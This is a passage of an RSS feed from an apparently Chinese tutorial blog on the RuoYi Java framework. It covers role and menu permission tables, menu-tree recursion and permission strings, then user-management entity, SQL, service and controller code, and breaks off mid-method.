    List&amp;lt;SysMenu&amp;gt; returnList = new ArrayList&amp;lt;SysMenu&amp;gt;();
    for (Iterator&amp;lt;SysMenu&amp;gt; iterator = list.iterator(); iterator.hasNext();) {
        SysMenu t = iterator.next();
        // 根据传入的parentId进行筛选
        if (t.getParentId() == parentId) {
            recursionFn(list, t);
            returnList.add(t);
        }
    }
    return returnList;
}

/**
 * 递归列表
 */
private void recursionFn(List&amp;lt;SysMenu&amp;gt; list, SysMenu t) {
    // 得到子节点列表
    List&amp;lt;SysMenu&amp;gt; childList = getChildList(list, t);
    t.setChildren(childList);
    for (SysMenu tChild : childList) {
        if (hasChild(list, tChild)) {
            // 判断子节点是否有下级
            recursionFn(list, tChild);
        }
    }
}

/**
 * 得到子节点列表
 */
private List&amp;lt;SysMenu&amp;gt; getChildList(List&amp;lt;SysMenu&amp;gt; list, SysMenu t) {
    List&amp;lt;SysMenu&amp;gt; tlist = new ArrayList&amp;lt;SysMenu&amp;gt;();
    Iterator&amp;lt;SysMenu&amp;gt; it = list.iterator();
    while (it.hasNext()) {
        SysMenu n = it.next();
        if (n.getParentId().longValue() == t.getMenuId().longValue()) {
            tlist.add(n);
        }
    }
    return tlist;
}

/**
 * 判断是否有子节点
 */
private boolean hasChild(List&amp;lt;SysMenu&amp;gt; list, SysMenu t) {
    return getChildList(list, t).size() &amp;gt; 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;数据库表结构&lt;/h2&gt;
&lt;h3&gt;角色表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE sys_role (
  role_id           BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT &apos;角色ID&apos;,
  role_name         VARCHAR(30)     NOT NULL                   COMMENT &apos;角色名称&apos;,
  role_key          VARCHAR(100)    NOT NULL                   COMMENT &apos;角色权限字符串&apos;,
  role_sort         INT(4)          NOT NULL                   COMMENT &apos;显示顺序&apos;,
  data_scope        CHAR(1)         DEFAULT &apos;1&apos;                COMMENT &apos;数据范围&apos;,
  status            CHAR(1)         NOT NULL                   COMMENT &apos;角色状态（0正常 1停用）&apos;,
  del_flag          CHAR(1)         DEFAULT &apos;0&apos;                COMMENT &apos;删除标志&apos;,
  create_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;创建者&apos;,
  create_time       DATETIME                                   COMMENT &apos;创建时间&apos;,
  update_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;更新者&apos;,
  update_time       DATETIME                                   COMMENT &apos;更新时间&apos;,
  remark            VARCHAR(500)    DEFAULT NULL               COMMENT &apos;备注&apos;,
  PRIMARY KEY (role_id)
) ENGINE=InnoDB AUTO_INCREMENT=100 COMMENT = &apos;角色信息表&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;菜单表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE sys_menu (
  menu_id           BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT &apos;菜单ID&apos;,
  menu_name         VARCHAR(50)     NOT NULL                   COMMENT &apos;菜单名称&apos;,
  parent_id         BIGINT(20)      DEFAULT 0                  COMMENT &apos;父菜单ID&apos;,
  order_num         INT(4)          DEFAULT 0                  COMMENT &apos;显示顺序&apos;,
  url               VARCHAR(200)    DEFAULT &apos;#&apos;                COMMENT &apos;请求地址&apos;,
  target            VARCHAR(20)     DEFAULT &apos;&apos;                 COMMENT &apos;打开方式&apos;,
  menu_type         CHAR(1)         DEFAULT &apos;&apos;                 COMMENT &apos;菜单类型（M目录 C菜单 F按钮）&apos;,
  visible           CHAR(1)         DEFAULT 0                  COMMENT &apos;菜单状态（0显示 1隐藏）&apos;,
  is_refresh        CHAR(1)         DEFAULT 1                  COMMENT &apos;是否刷新&apos;,
  perms             VARCHAR(100)    DEFAULT NULL               COMMENT &apos;权限标识&apos;,
  icon              VARCHAR(100)    DEFAULT &apos;#&apos;                COMMENT &apos;菜单图标&apos;,
  create_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;创建者&apos;,
  create_time       DATETIME                                   COMMENT &apos;创建时间&apos;,
  update_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;更新者&apos;,
  update_time       DATETIME                                   COMMENT &apos;更新时间&apos;,
  remark            VARCHAR(500)    DEFAULT &apos;&apos;                 COMMENT &apos;备注&apos;,
  PRIMARY KEY (menu_id)
) ENGINE=InnoDB AUTO_INCREMENT=2000 COMMENT = &apos;菜单权限表&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;角色菜单关联表&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;CREATE TABLE sys_role_menu (
  role_id           BIGINT(20) NOT NULL COMMENT &apos;角色ID&apos;,
  menu_id           BIGINT(20) NOT NULL COMMENT &apos;菜单ID&apos;,
  PRIMARY KEY(role_id, menu_id)
) ENGINE=InnoDB COMMENT = &apos;角色和菜单关联表&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;权限标识规范&lt;/h2&gt;
&lt;p&gt;RuoYi 采用模块化的权限标识命名规范：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;模块:功能:操作
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;示例&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;权限标识&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;system:user:list&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户列表查询&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;system:user:add&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户新增&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;system:user:edit&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户修改&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;system:user:remove&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户删除&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;system:user:export&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户导出&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;system:role:list&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;角色列表查询&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;system:menu:add&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;菜单新增&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;复习卡片&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// RBAC 核心关系
// 用户 → 用户角色关联 → 角色 → 角色菜单关联 → 菜单

// 1. 角色分配菜单
List&amp;lt;SysRoleMenu&amp;gt; list = new ArrayList&amp;lt;&amp;gt;();
for (Long menuId : role.getMenuIds()) {
    SysRoleMenu rm = new SysRoleMenu();
    rm.setRoleId(role.getRoleId());
    rm.setMenuId(menuId);
    list.add(rm);
}
roleMenuMapper.batchRoleMenu(list);

// 2. 查询用户角色
Set&amp;lt;SysRole&amp;gt; roles = roleService.selectRolesByUserId(userId);

// 3. 构建菜单树
List&amp;lt;Ztree&amp;gt; ztrees = menuService.roleMenuTreeData(roleId);

// 4. 菜单类型
// M = 目录
// C = 菜单
// F = 按钮

// 5. 数据权限
// 1 = 全部数据
// 2 = 自定义
// 3 = 本部门
// 4 = 本部门及以下
// 5 = 仅本人
&lt;/code&gt;&lt;/pre&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;类名&lt;/th&gt;
&lt;th&gt;职责&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysRole&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;角色实体类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysMenu&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;菜单实体类&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysRoleMenu&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;角色菜单关联&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysUserRole&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户角色关联&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ISysRoleService&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;角色服务接口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ISysMenuService&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;菜单服务接口&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;Ztree&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;树形结构数据&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;blockquote&gt;
&lt;p&gt;[!TIP]
下一步：&lt;a href=&quot;/blog/posts/ruoyi-roadmap-07-dept-post/&quot;&gt;阶段七：部门与岗位管理&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;在阶段七中，我们将学习组织架构管理，包括部门树和岗位配置。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>RuoYi 阶段五：用户管理模块</title><link>http://117.72.32.87/blog/posts/ruoyi-roadmap-05-user-management/</link><guid isPermaLink="true">http://117.72.32.87/blog/posts/ruoyi-roadmap-05-user-management/</guid><description>深入分析用户管理模块的完整实现：实体类、Service、Controller、密码加密、状态管理。</description><pubDate>Mon, 07 Sep 2026 07:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;[!NOTE]
本文是 RuoYi 学习路线的&lt;strong&gt;阶段五&lt;/strong&gt;，聚焦用户管理模块。学完本篇你应该能：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;理解用户实体类的设计&lt;/li&gt;
&lt;li&gt;掌握用户 CRUD 的完整流程&lt;/li&gt;
&lt;li&gt;知道密码加密和用户状态管理的实现&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;h2&gt;前端视角：用户管理像什么？&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;RuoYi 用户管理&lt;/th&gt;
&lt;th&gt;前端类比&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysUser&lt;/code&gt; 实体类&lt;/td&gt;
&lt;td&gt;User 类型定义 (TypeScript interface)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;ISysUserService&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户 API 封装 (axios)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SysUserController&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用户页面路由处理器&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;密码加密&lt;/td&gt;
&lt;td&gt;bcrypt / crypto-js&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;用户状态&lt;/td&gt;
&lt;td&gt;账户启用/禁用状态&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;用户实体类 (SysUser)&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/common/core/domain/entity/SysUser.java
package com.ruoyi.common.core.domain.entity;

import java.util.Date;
import java.util.List;
import javax.validation.constraints.*;
import org.apache.commons.lang3.builder.ToStringBuilder;
import org.apache.commons.lang3.builder.ToStringStyle;
import com.ruoyi.common.annotation.Excel;
import com.ruoyi.common.annotation.Excel.ColumnType;
import com.ruoyi.common.annotation.Excel.Type;
import com.ruoyi.common.core.domain.BaseEntity;

/**
 * 用户对象 sys_user
 * 
 * @author ruoyi
 */
public class SysUser extends BaseEntity {
    private static final long serialVersionUID = 1L;

    /** 用户ID */
    @Excel(name = &quot;用户序号&quot;, cellType = ColumnType.NUMERIC, prompt = &quot;用户编号&quot;)
    private Long userId;

    /** 部门ID */
    @Excel(name = &quot;部门编号&quot;, type = Type.IMPORT)
    private Long deptId;

    /** 部门父ID */
    private Long parentId;

    /** 角色ID */
    private Long roleId;

    /** 登录名称 */
    @Excel(name = &quot;登录名称&quot;)
    private String loginName;

    /** 用户名称 */
    @Excel(name = &quot;用户名称&quot;)
    private String userName;

    /** 用户邮箱 */
    @Excel(name = &quot;用户邮箱&quot;)
    private String email;

    /** 手机号码 */
    @Excel(name = &quot;手机号码&quot;)
    private String phonenumber;

    /** 用户性别 */
    @Excel(name = &quot;用户性别&quot;, readConverterExp = &quot;0=男,1=女,2=未知&quot;)
    private String sex;

    /** 用户头像 */
    private String avatar;

    /** 密码 */
    private String password;

    /** 盐加密 */
    private String salt;

    /** 帐号状态（0正常 1停用） */
    @Excel(name = &quot;帐号状态&quot;, readConverterExp = &quot;0=正常,1=停用&quot;)
    private String status;

    /** 删除标志（0代表存在 2代表删除） */
    private String delFlag;

    /** 最后登陆IP */
    @Excel(name = &quot;最后登陆IP&quot;, type = Type.EXPORT)
    private String loginIp;

    /** 最后登陆时间 */
    @Excel(name = &quot;最后登陆时间&quot;, width = 30, dateFormat = &quot;yyyy-MM-dd HH:mm:ss&quot;, type = Type.EXPORT)
    private Date loginDate;

    /** 部门对象 */
    @Excel(name = &quot;部门名称&quot;, targetAttr = &quot;deptName&quot;, type = Type.EXPORT)
    private SysDept dept;

    /** 角色集合 */
    private List&amp;lt;SysRole&amp;gt; roles;

    /** 岗位ID列表 */
    private Long[] postIds;

    /** 角色ID列表 */
    private Long[] roleIds;

    // Getter 和 Setter 省略...

    public boolean isAdmin() {
        return isAdmin(this.userId);
    }

    public static boolean isAdmin(Long userId) {
        return userId != null &amp;amp;&amp;amp; 1L == userId;
    }

    @Override
    public String toString() {
        return new ToStringBuilder(this, ToStringStyle.MULTI_LINE_STYLE)
            .append(&quot;userId&quot;, getUserId())
            .append(&quot;deptId&quot;, getDeptId())
            .append(&quot;loginName&quot;, getLoginName())
            .append(&quot;userName&quot;, getUserName())
            .append(&quot;email&quot;, getEmail())
            .append(&quot;phonenumber&quot;, getPhonenumber())
            .append(&quot;sex&quot;, getSex())
            .append(&quot;avatar&quot;, getAvatar())
            .append(&quot;password&quot;, getPassword())
            .append(&quot;salt&quot;, getSalt())
            .append(&quot;status&quot;, getStatus())
            .append(&quot;delFlag&quot;, getDelFlag())
            .append(&quot;loginIp&quot;, getLoginIp())
            .append(&quot;loginDate&quot;, getLoginDate())
            .append(&quot;createBy&quot;, getCreateBy())
            .append(&quot;createTime&quot;, getCreateTime())
            .append(&quot;updateBy&quot;, getUpdateBy())
            .append(&quot;updateTime&quot;, getUpdateTime())
            .append(&quot;remark&quot;, getRemark())
            .append(&quot;dept&quot;, getDept())
            .toString();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;实体类设计要点&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;特性&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Excel&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;用于导入导出 Excel&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@NotBlank&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;参数校验（非空）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Email&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;邮箱格式校验&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;BaseEntity&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;基类，包含 createBy、createTime 等公共字段&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;delFlag&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;逻辑删除标志（0 存在，2 删除）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;salt&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;密码加密盐值&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;数据库表结构&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;-- sys_user 用户表
CREATE TABLE sys_user (
  user_id           BIGINT(20)      NOT NULL AUTO_INCREMENT    COMMENT &apos;用户ID&apos;,
  dept_id           BIGINT(20)      DEFAULT NULL               COMMENT &apos;部门ID&apos;,
  login_name        VARCHAR(30)     NOT NULL                   COMMENT &apos;登录账号&apos;,
  user_name         VARCHAR(30)     NOT NULL                   COMMENT &apos;用户昵称&apos;,
  user_type         VARCHAR(2)      DEFAULT &apos;00&apos;               COMMENT &apos;用户类型（00系统用户）&apos;,
  email             VARCHAR(50)     DEFAULT &apos;&apos;                 COMMENT &apos;用户邮箱&apos;,
  phonenumber       VARCHAR(11)     DEFAULT &apos;&apos;                 COMMENT &apos;手机号码&apos;,
  sex               CHAR(1)         DEFAULT &apos;0&apos;                COMMENT &apos;用户性别（0男 1女 2未知）&apos;,
  avatar            VARCHAR(100)    DEFAULT &apos;&apos;                 COMMENT &apos;头像路径&apos;,
  password          VARCHAR(50)     DEFAULT &apos;&apos;                 COMMENT &apos;密码&apos;,
  salt              VARCHAR(20)     DEFAULT &apos;&apos;                 COMMENT &apos;盐加密&apos;,
  status            CHAR(1)         DEFAULT &apos;0&apos;                COMMENT &apos;帐号状态（0正常 1停用）&apos;,
  del_flag          CHAR(1)         DEFAULT &apos;0&apos;                COMMENT &apos;删除标志（0代表存在 2代表删除）&apos;,
  login_ip          VARCHAR(100)    DEFAULT &apos;&apos;                 COMMENT &apos;最后登录IP&apos;,
  login_date        DATETIME                                   COMMENT &apos;最后登录时间&apos;,
  create_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;创建者&apos;,
  create_time       DATETIME                                   COMMENT &apos;创建时间&apos;,
  update_by         VARCHAR(64)     DEFAULT &apos;&apos;                 COMMENT &apos;更新者&apos;,
  update_time       DATETIME                                   COMMENT &apos;更新时间&apos;,
  remark            VARCHAR(500)    DEFAULT NULL               COMMENT &apos;备注&apos;,
  PRIMARY KEY (user_id)
) ENGINE=InnoDB AUTO_INCREMENT=100 COMMENT = &apos;用户信息表&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Service 层实现&lt;/h2&gt;
&lt;h3&gt;接口定义&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/service/ISysUserService.java
package com.ruoyi.system.service;

import java.util.List;
import com.ruoyi.common.core.domain.entity.SysUser;

/**
 * 用户 业务层
 * 
 * @author ruoyi
 */
public interface ISysUserService {
    /**
     * 根据条件分页查询用户列表
     */
    public List&amp;lt;SysUser&amp;gt; selectUserList(SysUser user);

    /**
     * 通过用户名查询用户
     */
    public SysUser selectUserByLoginName(String loginName);

    /**
     * 通过手机号码查询用户
     */
    public SysUser selectUserByPhoneNumber(String phoneNumber);

    /**
     * 通过邮箱查询用户
     */
    public SysUser selectUserByEmail(String email);

    /**
     * 通过用户ID查询用户
     */
    public SysUser selectUserById(Long userId);

    /**
     * 通过用户ID删除用户
     */
    public int deleteUserById(Long userId);

    /**
     * 批量删除用户信息
     */
    public int deleteUserByIds(String ids);

    /**
     * 保存用户信息
     */
    public int insertUser(SysUser user);

    /**
     * 保存用户信息
     */
    public int updateUser(SysUser user);

    /**
     * 修改用户详细信息
     */
    public int updateUserInfo(SysUser user);

    /**
     * 修改用户密码信息
     */
    public int resetUserPwd(SysUser user);

    /**
     * 校验用户名称是否唯一
     */
    public String checkLoginNameUnique(String loginName);

    /**
     * 校验手机号码是否唯一
     */
    public String checkPhoneUnique(SysUser user);

    /**
     * 校验email是否唯一
     */
    public String checkEmailUnique(SysUser user);

    /**
     * 导入用户数据
     */
    public String importUser(List&amp;lt;SysUser&amp;gt; userList, Boolean isUpdateSupport, String operName);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;实现类&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/system/service/impl/SysUserServiceImpl.java
package com.ruoyi.system.service.impl;

import java.util.ArrayList;
import java.util.List;
import java.util.stream.Collectors;
import javax.validation.Validator;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.util.CollectionUtils;
import com.ruoyi.common.annotation.DataScope;
import com.ruoyi.common.constant.ShiroConstants;
import com.ruoyi.common.constant.UserConstants;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.text.Convert;
import com.ruoyi.common.exception.ServiceException;
import com.ruoyi.common.utils.StringUtils;
import com.ruoyi.common.utils.spring.SpringUtils;
import com.ruoyi.system.mapper.*;
import com.ruoyi.system.service.ISysConfigService;
import com.ruoyi.system.service.ISysUserService;

/**
 * 用户 业务层处理
 * 
 * @author ruoyi
 */
@Service
public class SysUserServiceImpl implements ISysUserService {
    private static final Logger log = LoggerFactory.getLogger(SysUserServiceImpl.class);

    @Autowired
    private SysUserMapper userMapper;

    @Autowired
    private SysRoleMapper roleMapper;

    @Autowired
    private SysPostMapper postMapper;

    @Autowired
    private SysUserPostMapper userPostMapper;

    @Autowired
    private SysUserRoleMapper userRoleMapper;

    @Autowired
    private ISysConfigService configService;

    @Autowired
    protected Validator validator;

    /**
     * 根据条件分页查询用户列表
     */
    @Override
    @DataScope(deptAlias = &quot;d&quot;, userAlias = &quot;u&quot;)
    public List&amp;lt;SysUser&amp;gt; selectUserList(SysUser user) {
        return userMapper.selectUserList(user);
    }

    /**
     * 通过用户名查询用户
     */
    @Override
    public SysUser selectUserByLoginName(String userName) {
        return userMapper.selectUserByLoginName(userName);
    }

    /**
     * 通过用户ID查询用户
     */
    @Override
    public SysUser selectUserById(Long userId) {
        return userMapper.selectUserById(userId);
    }

    /**
     * 新增保存用户信息
     */
    @Override
    @Transactional
    public int insertUser(SysUser user) {
        // 新增用户信息
        int rows = userMapper.insertUser(user);
        // 新增用户岗位关联
        insertUserPost(user);
        // 新增用户与角色管理
        insertUserRole(user.getUserId(), user.getRoleIds());
        return rows;
    }

    /**
     * 修改保存用户信息
     */
    @Override
    @Transactional
    public int updateUser(SysUser user) {
        Long userId = user.getUserId();
        // 删除用户与角色关联
        userRoleMapper.deleteUserRoleByUserId(userId);
        // 新增用户和角色管理
        insertUserRole(user.getUserId(), user.getRoleIds());
        // 删除用户与岗位关联
        userPostMapper.deleteUserPostByUserId(userId);
        // 新增用户与岗位管理
        insertUserPost(user);
        return userMapper.updateUser(user);
    }

    /**
     * 修改用户个人详细信息
     */
    @Override
    public int updateUserInfo(SysUser user) {
        return userMapper.updateUser(user);
    }

    /**
     * 重置用户密码
     */
    @Override
    public int resetUserPwd(SysUser user) {
        return updateUserInfo(user);
    }

    /**
     * 新增用户角色信息
     */
    public void insertUserRole(Long userId, Long[] roleIds) {
        if (StringUtils.isNotNull(roleIds)) {
            // 新增用户与角色管理
            List&amp;lt;SysUserRole&amp;gt; list = new ArrayList&amp;lt;SysUserRole&amp;gt;();
            for (Long roleId : roleIds) {
                SysUserRole ur = new SysUserRole();
                ur.setUserId(userId);
                ur.setRoleId(roleId);
                list.add(ur);
            }
            if (list.size() &amp;gt; 0) {
                userRoleMapper.batchUserRole(list);
            }
        }
    }

    /**
     * 新增用户岗位信息
     */
    public void insertUserPost(SysUser user) {
        Long[] posts = user.getPostIds();
        if (StringUtils.isNotNull(posts)) {
            // 新增用户与岗位管理
            List&amp;lt;SysUserPost&amp;gt; list = new ArrayList&amp;lt;SysUserPost&amp;gt;();
            for (Long postId : posts) {
                SysUserPost up = new SysUserPost();
                up.setUserId(user.getUserId());
                up.setPostId(postId);
                list.add(up);
            }
            if (list.size() &amp;gt; 0) {
                userPostMapper.batchUserPost(list);
            }
        }
    }

    /**
     * 校验登录名称是否唯一
     */
    @Override
    public String checkLoginNameUnique(String loginName) {
        int count = userMapper.checkLoginNameUnique(loginName);
        if (count &amp;gt; 0) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }

    /**
     * 校验手机号码是否唯一
     */
    @Override
    public String checkPhoneUnique(SysUser user) {
        Long userId = StringUtils.isNull(user.getUserId()) ? -1L : user.getUserId();
        SysUser info = userMapper.checkPhoneUnique(user.getPhonenumber());
        if (StringUtils.isNotNull(info) &amp;amp;&amp;amp; info.getUserId().longValue() != userId.longValue()) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }

    /**
     * 校验邮箱是否唯一
     */
    @Override
    public String checkEmailUnique(SysUser user) {
        Long userId = StringUtils.isNull(user.getUserId()) ? -1L : user.getUserId();
        SysUser info = userMapper.checkEmailUnique(user.getEmail());
        if (StringUtils.isNotNull(info) &amp;amp;&amp;amp; info.getUserId().longValue() != userId.longValue()) {
            return UserConstants.NOT_UNIQUE;
        }
        return UserConstants.UNIQUE;
    }

    /**
     * 删除用户信息
     */
    @Override
    public int deleteUserById(Long userId) {
        // 删除用户与角色关联
        userRoleMapper.deleteUserRoleByUserId(userId);
        // 删除用户与岗位表
        userPostMapper.deleteUserPostByUserId(userId);
        return userMapper.deleteUserById(userId);
    }

    /**
     * 批量删除用户信息
     */
    @Override
    public int deleteUserByIds(String ids) {
        Long[] userIds = Convert.toLongArray(ids);
        // 校验用户是否有数据权限
        checkUserAllowed(new SysUser(userIds[0]));
        // 删除用户与角色关联
        userRoleMapper.deleteUserRole(userIds);
        // 删除用户与岗位关联
        userPostMapper.deleteUserPost(userIds);
        return userMapper.deleteUserByIds(userIds);
    }

    /**
     * 校验用户是否允许操作
     */
    public void checkUserAllowed(SysUser user) {
        if (StringUtils.isNotNull(user.getUserId()) &amp;amp;&amp;amp; user.isAdmin()) {
            throw new ServiceException(&quot;不允许操作超级管理员用户&quot;);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;关键注解说明&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;注解&lt;/th&gt;
&lt;th&gt;说明&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@DataScope&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;数据权限过滤（只能看到自己部门的数据）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Transactional&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;事务管理（失败时回滚）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;@Service&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;标注为 Service 层组件&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Controller 层实现&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;// src/main/java/com/ruoyi/web/controller/system/SysUserController.java
package com.ruoyi.web.controller.system;

import java.util.List;
import javax.servlet.http.HttpServletResponse;
import org.apache.shiro.authz.annotation.RequiresPermissions;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.ui.ModelMap;
import org.springframework.validation.annotation.Validated;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import com.ruoyi.common.annotation.Log;
import com.ruoyi.common.core.controller.BaseController;
import com.ruoyi.common.core.domain.AjaxResult;
import com.ruoyi.common.core.domain.entity.SysRole;
import com.ruoyi.common.core.domain.entity.SysUser;
import com.ruoyi.common.core.page.TableDataInfo;
import com.ruoyi.common.enums.BusinessType;
import com.ruoyi.common.utils.ShiroUtils;
import com.ruoyi.common.utils.poi.ExcelUtil;
import com.ruoyi.framework.shiro.service.PasswordService;
import com.ruoyi.framework.shiro.util.AuthorizationUtils;
import com.ruoyi.system.service.ISysPostService;
import com.ruoyi.system.service.ISysRoleService;
import com.ruoyi.system.service.ISysUserService;

/**
 * 用户信息
 * 
 * @author ruoyi
 */
@Controller
@RequestMapping(&quot;/system/user&quot;)
public class SysUserController extends BaseController {
    private String prefix = &quot;system/user&quot;;

    @Autowired
    private ISysUserService userService;

    @Autowired
    private ISysRoleService roleService;

    @Autowired
    private ISysPostService postService;

    @Autowired
    private PasswordService passwordService;

    @RequiresPermissions(&quot;system:user:view&quot;)
    @GetMapping()
    public String user() {
        return prefix + &quot;/user&quot;;
    }

    @RequiresPermissions(&quot;system:user:list&quot;)
    @PostMapping(&quot;/list&quot;)
    @ResponseBody
    public TableDataInfo list(SysUser user) {
        startPage();
